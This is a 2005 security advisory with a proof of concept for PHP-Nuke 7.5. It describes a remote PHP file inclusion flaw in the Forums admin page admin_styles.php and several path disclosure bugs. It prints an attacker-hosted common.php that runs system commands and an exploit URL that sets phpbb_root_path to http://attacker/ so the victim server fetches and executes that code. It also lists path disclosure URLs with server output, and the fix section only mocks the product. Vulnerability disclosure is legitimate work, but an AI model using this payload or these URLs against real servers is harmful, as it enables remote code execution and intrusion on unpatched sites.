----



**********************************************************

*                                                        *

* sile002 advisory + PoC                                 *

*                                                        * 

* PRODUCT: PHP-Nuke                                      *

* VERSION: 7.5 but others versions                       *

*           maybe either vulnerables                     *

*                                                        *

* VENDOR: http://www.phpnuke.org                         *

* VULNERABILITY: Multiple vulnerability                  * 

* RISK: Hight                                            *

*                                                        *

* Found by: Silentium of Anacron Group Italy             *

*     date: 02/05/2005                                   *

*   e-mail: anacrongroupitaly[at]autistici[dot]org       *

*  my_home: http://www.autistici.org/anacron-group-italy *

*                                                        *

**********************************************************





General product info

--------------------

PHP-Nuke is a Web Portal System.

PHP-Nuke is free software, released under GNU GPL Licence version 2.0

PHP-Nuke is the result of many years administrating a news site called

Linux Preview (http://linuxpreview.org)....bla..bla..bla ;\





General bug info

----------------

I have found one PHP injection vulnerability 

relative at Forums module into page



/modules/Forums/admin/admin_styles.php



The vulnerable variable is $phpbb_root_path

This wait for common.php page, but an attacker

can link remote 'common.php' page, and execute

remote code on vulnerable machine.



An attacker can to create own php page and uploading

it into own web server; example of page



cat common.php



<?



// This is simple attacker common.php page

// for execute remote code on machines vulnerable

// at PHP injection found on PHP-Nuke v7.5 by Silentium



system("id;uname -a");



?> 





Exploiting this bug

------------------- 



1) [PHP Injection + Path Disclosure]

 

 Input in your browser:



 http://www.victim.com/modules/Forums/admin/admin_styles.php?phpbb_root_path=http://attacker/

 

 Output from web server:



uid=80(www) gid=80(www) 

Linux victim 2.4.27 #6 Tue Oct 18 15:24:11 PDT 2003 i686 unknown unknown GNU/Linux


Fatal error: Call to undefined function: message_die() in /var/www/htdocs/modules/Forums/admin/pagestart.php
on line 81

   



The PHP injection to produce also an error showing the path of web server:



 /var/www/htdocs







2) [Path Disclosure]



 Input in your browser:



 http://www.victim.com/modules/Forums/admin/admin_forums.php?phpEx=silentium

 http://www.victim.com/modules/Forums/admin/admin_disallow.php?phpEx=silentium

 http://www.victim.com/modules/Forums/admin/admin_smilies.php?phpEx=silentium

 http://www.victim.com/modules/Forums/admin/admin_board.php?phpEx=silentium


 http://www.victim.com/modules/Forums/admin/admin_users.php?phpEx=silentium

 http://www.victim.com/modules/Forums/admin/admin_mass_email.php?phpEx=silentium

 http://www.victim.com/modules/Forums/admin/admin_forum_prune.php?phpEx=silentium

 

 Output from web server:



Warning: main(./../common.silentium): failed to open stream: No such file or

directory in /var/www/htdocs/modules/Forums/admin/pagestart.php on line 68



Warning: main(): Failed opening './../common.silentium' for inclusion

(include_path='.:/usr/local/lib/php') in /var/www/htdocs/modules/Forums/admin/pagestart.php
on line 68



Fatal error: Call to undefined function: message_die() 

in /var/www/htdocs/modules/Forums/admin/pagestart.php on line 81



OR

 

 Input in your browser:



 http://www.victim.com/db/db.php?the_include=silentium



 Output from web server:



 Fatal error: Cannot instantiate non-existent class: sql_db in

 /var/www/htdocs/db/db.php on line 86





Patching this bug

-----------------

You dont use stupid and ever bugged ;\ PHP-Nuke product,

if you need also an little security !!!